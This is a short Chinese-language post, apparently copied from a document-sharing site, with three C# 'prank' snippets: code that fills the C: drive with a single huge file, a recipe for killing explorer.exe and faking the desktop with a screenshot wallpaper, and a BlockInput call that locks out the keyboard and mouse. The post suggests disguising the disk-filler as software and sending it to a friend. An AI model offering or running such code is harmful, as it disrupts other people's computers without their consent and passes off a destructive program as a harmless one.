1,一键填满C盘 命名空间 using System.IO; FileStreamfs = new FileStream("C:\\1.txt", FileMode.OpenOrCreate); fs.SetLength(System.IO.DriveInfo.GetDrives()[0].TotalFreeSpace-1024*1024); fs.Close(); 命名一下空间就直接复制代码OK 当然你可以一窗体模式发给你的朋友然后说软件出错了 他会突然发下C盘红了 2,可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下 下面是代码 [DllImport("user32.dll", EntryPoint = "SystemParametersInfo")] public static extern intSystemParametersInfo( intuAction, intuParam, string lpvParam, intfuWinIni ); /// /// 设置背景图片 /// /// 图片路径 private void SetDestPicture(string picture) { if (File.Exists(picture)) { if (Path.GetExtension(picture).ToLower() != "bmp") { // 其它格式文件先转换为bmp再设置 string tempFile = @"D:\test.bmp"; Image image = Image.FromFile(picture); image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp); picture = tempFile; } SystemParametersInfo(20, 0, picture, 0x2); } } 3,这个事阻止用户输入我也发一个,阻止用户输入 ,不过按Ctrl+Alt++del就可解除。 C# code; // true阻止输入,false解除阻止输入 [DllImport("User32.dll")] public static extern boolBlockInput(bool enabled); 本文来源:https://www.wddqw.com/doc/2c09a3d67c1cfad6185fa704.html